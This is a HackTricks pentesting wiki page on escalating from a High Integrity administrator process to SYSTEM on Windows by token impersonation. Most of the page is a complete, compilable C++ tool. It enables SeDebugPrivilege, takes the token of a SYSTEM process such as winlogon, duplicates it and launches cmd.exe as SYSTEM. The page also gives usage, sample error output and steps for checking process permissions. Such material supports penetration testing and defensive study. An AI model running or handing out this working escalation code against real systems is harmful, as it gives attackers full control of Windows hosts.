HackTricks
Search…
Pentesting
Powered By GitBook
SeImpersonate from High To System

Code

The following code was copied from here. It allows to indicate a Process ID as argument and a CMD running as the user of the indicated process will be run. Running in a High Integrity process you can indicate the PID of a process running as System (like winlogon, wininit) and execute a cmd.exe as system.
1
impersonateuser.exe 1234
Copied!
impersonateuser.cpp
1
#include <windows.h>
2
#include <iostream>
3
#include <Lmcons.h>
4
BOOL SetPrivilege(
5
HANDLE hToken, // access token handle
6
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
7
BOOL bEnablePrivilege // to enable or disable privilege
8
)
9
{
10
TOKEN_PRIVILEGES tp;
11
LUID luid;
12
if (!LookupPrivilegeValue(
13
NULL, // lookup privilege on local system
14
lpszPrivilege, // privilege to lookup
15
&luid)) // receives LUID of privilege
16
{
17
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
18
return FALSE;
19
}
20
tp.PrivilegeCount = 1;
21
tp.Privileges[0].Luid = luid;
22
if (bEnablePrivilege)
23
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
24
else
25
tp.Privileges[0].Attributes = 0;
26
// Enable the privilege or disable all privileges.
27
if (!AdjustTokenPrivileges(
28
hToken,
29
FALSE,
30
&tp,
31
sizeof(TOKEN_PRIVILEGES),
32
(PTOKEN_PRIVILEGES)NULL,
33
(PDWORD)NULL))
34
{
35
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
36
return FALSE;
37
}
38
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
39
{
40
printf("[-] The token does not have the specified privilege. \n");
41
return FALSE;
42
}
43
return TRUE;
44
}
45
std::string get_username()
46
{
47
TCHAR username[UNLEN + 1];
48
DWORD username_len = UNLEN + 1;
49
GetUserName(username, &username_len);
50
std::wstring username_w(username);
51
std::string username_s(username_w.begin(), username_w.end());
52
return username_s;
53
}
54
int main(int argc, char** argv) {
55
// Print whoami to compare to thread later
56
printf("[+] Current user is: %s\n", (get_username()).c_str());
57
// Grab PID from command line argument
58
char* pid_c = argv[1];
59
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
60
// Initialize variables and structures
61
HANDLE tokenHandle = NULL;
62
HANDLE duplicateTokenHandle = NULL;
63
STARTUPINFO startupInfo;
64
PROCESS_INFORMATION processInformation;
65
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
66
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
67
startupInfo.cb = sizeof(STARTUPINFO);
68
// Add SE debug privilege
69
HANDLE currentTokenHandle = NULL;
70
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
71
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
72
{
73
printf("[+] SeDebugPrivilege enabled!\n");
74
}
75
// Call OpenProcess(), print return code and error code
76
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
77
if (GetLastError() == NULL)
78
printf("[+] OpenProcess() success!\n");
79
else
80
{
81
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
82
printf("[-] OpenProcess() Error: %i\n", GetLastError());
83
}
84
// Call OpenProcessToken(), print return code and error code
85
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
86
if (GetLastError() == NULL)
87
printf("[+] OpenProcessToken() success!\n");
88
else
89
{
90
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
91
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
92
}
93
// Impersonate user in a thread
94
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
95
if (GetLastError() == NULL)
96
{
97
printf("[+] ImpersonatedLoggedOnUser() success!\n");
98
printf("[+] Current user is: %s\n", (get_username()).c_str());
99
printf("[+] Reverting thread to original user context\n");
100
RevertToSelf();
101
}
102
else
103
{
104
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
105
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
106
}
107
// Call DuplicateTokenEx(), print return code and error code
108
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
109
if (GetLastError() == NULL)
110
printf("[+] DuplicateTokenEx() success!\n");
111
else
112
{
113
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
114
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
115
}
116
// Call CreateProcessWithTokenW(), print return code and error code
117
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
118
if (GetLastError() == NULL)
119
printf("[+] Process spawned!\n");
120
else
121
{
122
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
123
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
124
}
125
return 0;
126
}
Copied!

Error

On some occasions you may try to impersonate System and it won't work showing an output like the following:
1
[+] OpenProcess() success!
2
[+] OpenProcessToken() success!
3
[-] ImpersonatedLoggedOnUser() Return Code: 1
4
[-] ImpersonatedLoggedOnUser() Error: 5
5
[-] DuplicateTokenEx() Return Code: 0
6
[-] DupicateTokenEx() Error: 5
7
[-] CreateProcessWithTokenW Return Code: 0
8
[-] CreateProcessWithTokenW Error: 1326
Copied!
This means that even if you are running on a High Integrity level you don't have enough permissions. Let's check current Administrator permissions over svchost.exe processes with processes explorer (or you can also use process hacker):
    1.
    Select a process of svchost.exe
    2.
    Right Click --> Properties
    3.
    Inside "Security" Tab click in the bottom right the button "Permissions"
    4.
    Click on "Advanced"
    5.
    Select "Administrators" and click on "Edit"
    6.
    Click on "Show advanced permissions"
The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of svchost.exe they only have "Query" privileges)
See the privileges "Administrators" have over winlogon.exe:
Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.
Last modified 1yr ago
Copy link
Contents
Code
Error